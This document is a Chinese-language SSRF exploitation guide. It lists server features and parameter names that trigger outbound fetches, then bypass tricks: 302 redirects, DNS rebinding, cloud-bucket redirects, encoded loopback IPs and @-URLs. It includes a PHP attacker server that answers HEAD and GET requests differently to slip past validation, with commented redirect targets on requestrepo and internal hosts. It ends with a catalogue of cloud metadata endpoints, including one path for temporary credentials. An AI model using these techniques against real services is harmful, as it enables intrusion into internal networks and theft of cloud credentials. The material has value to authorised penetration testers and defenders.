出现位置

一切会触发服务器主动发送请求的位置。

功能点

上传点

logo , 头像上传

Webhook / 回调 / 订阅验证

(支付、IM、CI/CD、监控告警等)的测试回调Ping

事件订阅验证 , 推送设置

服务端产生的 富文本/Markdown/模板渲染

用户内容中含外链,渲染发生在服务端。获取主动获取网络图片

链接预览 / 安全扫描 / 富卡片

IM/工单/知识库/代码托管里“粘贴链接自动生成摘要/预览卡片”

安全/合规扫描器对链接做服务器端检查

远程资源抓取 / 下载

通过 URL 上传文件 / 导入图片

RSS/Atom 导入、网站快照、OpenGraph/标题抓取、favicon 获取

把网页转成 PDF/截图的在线转换器

图片/文件处理服务

图床/媒体处理(缩略图、裁剪、转码)支持传 image_urlfile_url

Office/PDF 渲染服务在服务器端加载外链资源

单点登录/集成 从 URL 导入

SAML/IdP 元数据 URL、OIDC/JWKS/证书/Swagger/OpenAPI "从地址导入"

第三方集成 "测试连接" "从远端拉取配置"

同步/镜像/代理类功能

代码仓/制品库/容器镜像 从源站 URL 同步

下载代理、反向代理/调试转发器、抓取 API 的“通用 fetch 接口

健康检查/监控探测

在线可配置的探活/心跳/可用性检测(允许提交要探测的 URL)

由解析器/库间接触发的 SSRF

某些 XML/模板/图像处理库在解析外部实体或远程引用时会主动拉取(与 XXE/RFI 场景有交集)

HTTP 客户端默认跟随重定向到 127.0.0.1、内网网段、不同协议等

参数

urllinktargetendpointcallbackwebhookpingtest_urlimage_urlavatarfile_urlpdf_urlfeedrsssourceimport_urlhostdomainaddrsitemapopenapi_urlswagger_urllogo 等。

打法

无回

令服务器请求不存在的端口 / IP ,打时间差等信息

有回

请求元数据 , file 等协议获取数据 , 请求厂商给的 flag 地址。

302 重定向 / dns重绑定

简单总结:

302 跟随绕过黑名单限制

dns重绑定如若在单请求线程中,无法脱离上下文检测流程或无法实现时间差,一般成功不了。

只有当存在 基于输入域名的白名单/后缀校验且不展开 CNAME 全链/禁用302时,CNAME 才有用。不然多此一举

存在情况: 服务器发出多个请求(1)

例如: 第一个请求头为 Go ,第二个请求为 python 。通过分支重定向绕过第一个打第二个可能能成功。

存在情况: 服务器发出多个请求(2)

例如: 第一个为 HEAD , 第二个请求为 GET。通过分支重定向绕过 HEAD 打 GET 可能成功。

存在情况: 传入域名半白名单

例如: 要求对应云厂商的地址 。尝试使用该厂商的 云存储桶进行 回源重定向可能绕过白名单限制。

存在情况: 通过多个请求参数组合,构成请求目标

例如: 一个参数为 oss 桶名,其他为文件名,后端自动处理为对应云厂商的桶名链接,将桶名修改为自己的可控桶名进行回源重定向。

bucket=xxx&filename=xxxx&sign=xxxx&........

存在情况: 服务器解析内网地址不完全(少见)

例如未拦截: IPv4 变体:127.1、十进制 2130706433、十六进制 0x7f000001、八进制、混合进制、等情况

存在情况: 跟随@重定向

例如: http://xxx.com@www.baidu.com 实际指向 www.baidu.com

综合代码实现

// 根据需要动态调整

<?php
ini_set('zlib.output_compression', 'Off');
​
$method = $_SERVER['REQUEST_METHOD'];
$fileName = "su.log";
​
// 记录请求详情
function logRequest() {
    global $fileName; 
    $logFile = __DIR__ . '/' . $fileName;
    $timestamp = date('Y-m-d H:i:s');
    $method = $_SERVER['REQUEST_METHOD'];
    $uri = $_SERVER['REQUEST_URI'] ?? '';
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
​
    $postData = '';
    if ($method === 'POST') {
        $postData = file_get_contents('php://input');
        if (empty($postData)) {
            $postData = json_encode($_POST);
        }
    }
    
    $getData = !empty($_GET) ? json_encode($_GET) : '';
    
    $logEntry = sprintf(
        "[%s] %s %s | IP: %s | UA: %s | Referer: %s | GET: %s | POST: %s\n",
        $timestamp,
        $method,
        $uri,
        $ip,
        $userAgent,
        $referer,
        $getData,
        $postData
    );
    file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
​
// 记录重定向
function logRedirect($targetUrl) {
    global $fileName; 
    $logFile = __DIR__ . '/' . $fileName;
    $timestamp = date('Y-m-d H:i:s');
    
    $logEntry = sprintf(
        "[%s] REDIRECT -> %s\n",
        $timestamp,
        $targetUrl
    );
    
    file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
​
// 统一的成功 JSON (有些推送平台只看 success)
function reply_success_json() {
    // 清理可能的缓冲/前置输出,避免 JSON 前有多余字节
    if (function_exists('ob_get_length') && ob_get_length()) {
        @ob_clean();
    }
    $payload = json_encode([
        'success'    => true,
        'error_code' => 0,
        'error_msg'  => '',
        'result'     => ''
    ], JSON_UNESCAPED_UNICODE);
​
    header('Content-Type: application/json; charset=utf-8');
    header('Content-Length: ' . strlen($payload));
    http_response_code(200);
    echo $payload;
​
    // 立刻把响应刷给对端,避免 3s 超时
    if (function_exists('fastcgi_finish_request')) {
        fastcgi_finish_request();
    }
    exit;
}
​
// 记录当前请求
logRequest();
​
// 过HEAD等长度检测  // 注: 不要忘了顶部 ini_set('zlib.output_compression', 'Off'); -> gZIP压缩项目相关
$body = "\xFF\xD8\xFF\xD9"; // 可换成 'test' 等任意字符串
$len  = strlen($body);
​
// 根据请求方法处理 // 可以调整为根据请求顺序
switch ($method) {
    case 'HEAD':
        // HEAD请求:返回200状态码
        header('Access-Control-Allow-Origin: *');
        header('Content-Type: image/jpeg');
        // header('Content-Length: ' . filesize(__DIR__.'/logo.jpg'));
        header('Content-Length: '.$len);
        http_response_code(200);
​
        // http_response_code(302);
        // header('Location: http://bsrc-ssrf.n.baidu-int.com:9999');
        // header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
        // header('Location: https://35zngqb9.requestrepo.com/ssaasasas/ssr');
        
        // 不存在的DNSLOG 
        // header('Location: https://35zngsdsdb9.requestrepo.com/ssaasasas/ssr');
        // header('Location: https://x16fw7qm.requestrepo.com/asasasas');
​
        // /https://x16fw7qm.requestrepo.com/
​
        // echo json_encode([
        // ], JSON_UNESCAPED_UNICODE);
​
        // echo json_encode([
        //     'success' => true,
        //     'error_code' => 0,
        //     'error_msg' => '',
        //     'result' => ''
        // ], JSON_UNESCAPED_UNICODE);
        exit();
​
    case 'GET':
        // http_response_code(200);
        // header('Content-Length: '.$len);
        header('Content-Type: image/jpeg');
        // http_response_code(302);
        // header('Location: http://bsrc-ssrf.n.baidu-int.com:9999');
        // header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
        // $redirectUrl = "http://i2o4z68y.requestrepo.com";
        // $redirectUrl = "http://tst.woa.com/ssrf_forward.php?host=i2o4z68y.requestrepo.com";
        $redirectUrl = "http://tst.woa.com/flag.html";
        // header('Location: ' . $redirectUrl);
        // logRedirect('进入重定向: ' . $redirectUrl);
​
        // echo json_encode([
        // ], JSON_UNESCAPED_UNICODE);
        echo json_encode([
            'success' => true,
            'error_code' => 0,
            'error_msg' => '',
            'result' => ''
        ], JSON_UNESCAPED_UNICODE);
        exit();
        
    case 'POST':
        // POST请求:重定向到指定URL
        http_response_code(200);
        header('Content-Type: application/json; charset=utf-8');
        // header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
​
        reply_success_json();
​
        //  echo json_encode([
        //     'success' => true,
        //     'error_code' => 0,
        //     'error_msg' => '',
        //     'result' => ''
        // ], JSON_UNESCAPED_UNICODE);
        exit();
        
        
    default:
        // 其他请求方法返回405 Method Not Allowed // 可具体情况调整
        http_response_code(405);
        echo json_encode([
            'code' => -1,
            'msg' => 'Method Not Allowed'
        ], JSON_UNESCAPED_UNICODE);
        exit();
}
?> 

元数据地址

中国厂商

  • 阿里云 ECS

    • http://100.100.100.200/latest/meta-data/

    • 注:若启用增强安全,需先 PUT /latest/api/token,再携带 X-aliyun-ecs-metadata-tokenAlibaba Cloud阿里云帮助中心

  • 腾讯云 CVM

    • 域名http://metadata.tencentyun.com/latest/meta-data/(在实例内解析到内网;官方推荐使用域名) 。 腾讯云

  • 百度智能云 BCC/BBC

    • 地址http://169.254.169.254/latest/meta-data/(仅实例内访问;示例:/latest/meta-data/sts-credential 获取临时凭证);历史版本http://169.254.169.254/2009-04-04/meta-data/(示例:/2009-04-04/meta-data/public-ipv4)。 百度智能云 / DTS 文档示例cloud.baidu.comcloud.baidu.com

  • 华为云 ECS

    • 常见访问:http://169.254.169.254

    • 文档示例包含 OpenStack 风格路径(如 …/openstack/latest/meta_data.json 等)。

  • 京东云 JD Cloud(虚拟主机)

    • http://169.254.169.254/metadata/latest/京东云

  • UCloud UHost

    • http://100.80.80.80/meta-data/UCloud

  • 金山云 Kingsoft Cloud(KEC)

    • 文档标注使用内网解析访问 IMDS(未统一固定 IP;若未使用金山云 DNS,可按文档指引改用 11.255.255.100 访问)。建议在实例内直接按文档示例访问元数据条目。 金山云

  • (补充)Scaleway

    • IPv4:http://169.254.42.42;IPv6:http://[fd00:42::42]Scaleway

全球厂商

  • AWS EC2

    • IPv4:http://169.254.169.254/latest/meta-data/

    • IPv6:http://[fd00:ec2::254]/latest/meta-data/(需先启用)

    • 注:IMDSv2 需先 PUT /latest/api/token 获取 token,再带 X-aws-ec2-metadata-token 访问。 AWS 文档AWS 文档AWS 文档

  • Microsoft Azure

    • 根地址:http://169.254.169.254/metadata/(所有调用都需请求头 Metadata: true,并带 api-version 参数) 。 Microsoft Learn

  • Google Cloud Compute Engine (GCE)

    • 主机名:http://metadata.google.internal/computeMetadata/v1

    • IP:http://169.254.169.254/computeMetadata/v1

    • 注:必须带请求头 Metadata-Flavor: GoogleGoogle Cloud

  • Oracle Cloud Infrastructure (OCI)

    • IMDSv2 根:http://169.254.169.254/opc/v2/(示例:/opc/v2/instance/必须Authorization: Bearer Oracle

    • IMDSv1 根:http://169.254.169.254/opc/v1/Oracle 文档

  • DigitalOcean Droplets

  • Akamai Connected Cloud(原 Linode)

    • IPv4:http://169.254.169.254

    • IPv6:http://[fd00:a9fe:a9fe::1]

    • 注:先 PUT /v1/token 获取 Metadata-Token,再访问 /v1/instance/v1/network 等。 techdocs.akamai.com

  • OpenStack(通用环境,含许多托管/私有云)

    • 服务地址:http://169.254.169.254

    • 同时支持 OpenStack API 与 EC2 兼容 API(如 /openstack/latest//latest/meta-data/)。 docs.openstack.org


国家一级保护废物